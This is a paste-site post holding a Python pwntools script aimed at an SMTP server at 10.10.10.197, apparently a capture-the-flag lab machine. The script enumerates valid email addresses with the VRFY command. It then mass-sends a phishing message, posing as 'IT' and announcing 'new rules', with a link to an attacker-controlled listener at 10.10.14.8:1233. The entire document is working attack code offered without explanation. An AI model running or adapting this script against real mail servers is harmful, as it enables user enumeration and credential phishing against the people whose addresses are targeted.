Mr_hEx icon

SMTP

Mr_hEx | PRO | 09/04/20 08:18:54 PM UTC (Edited) | 0 ⭐ | 357 👁️ | Never ⏰ | []
text |

1.61 KB

|

None

|

0 👍

/

0 👎

from pwn import *
import sys
 # Color !!
PURPLE = '\033[1;35;48m'
CYAN = '\033[1;36;48m'
BOLD = '\033[1;37;48m'
BLUE = '\033[1;34;48m'
GREEN = '\033[1;32;48m'
YELLOW = '\033[1;33;48m'
RED = '\033[1;31;48m'
BLACK = '\033[1;30;48m'
 Host = "10.10.10.197"
 def Checker_mail(FileName,Host):
    f = open(FileName, "r")
    for x in f:
        Email = x.rstrip()
        conn = remote(Host,25,level='error')
        code = conn.recvline()
        conn.send("VRFY {}\r\n".format(Email))
        ASEmail = conn.recvline().decode()
        if "denied" in ASEmail:
            print("{}[-] Email Not Found !!".format(RED))
            conn.close()
        else:
            print("{}[+] Email Found : {}".format(GREEN,Email))
            conn.close()
   def Send_mail(FileName,Host):
    f = open(FileName, "r")
    for x in f:
        Email = x.rstrip()
        conn = remote(Host,25,level='error')
        code = conn.recvline()
        conn.send("mail from: IT\r\n")
        ResMail = conn.recvline().decode()
        conn.send("rcpt to: {}\r\n".format(Email))
        ResRCPT = conn.recvline().decode()
        print(ResMail)
        print(ResRCPT)
        conn.send("data\r\n")
        ResData = conn.recvline().decode()
        print(ResData)
        conn.send("Subject:IT\n")
        conn.send("Good Day, \n")
        conn.send("For our new rules\n")
        conn.send("Please check here : http://10.10.14.8:1233/\n")
        conn.send(".\r\n")
        ResAfterData = conn.recvline().decode()
        print(ResAfterData)
  Send_mail('emails.txt',Host)   
#Checker_mail('emails.txt',Host)

Comments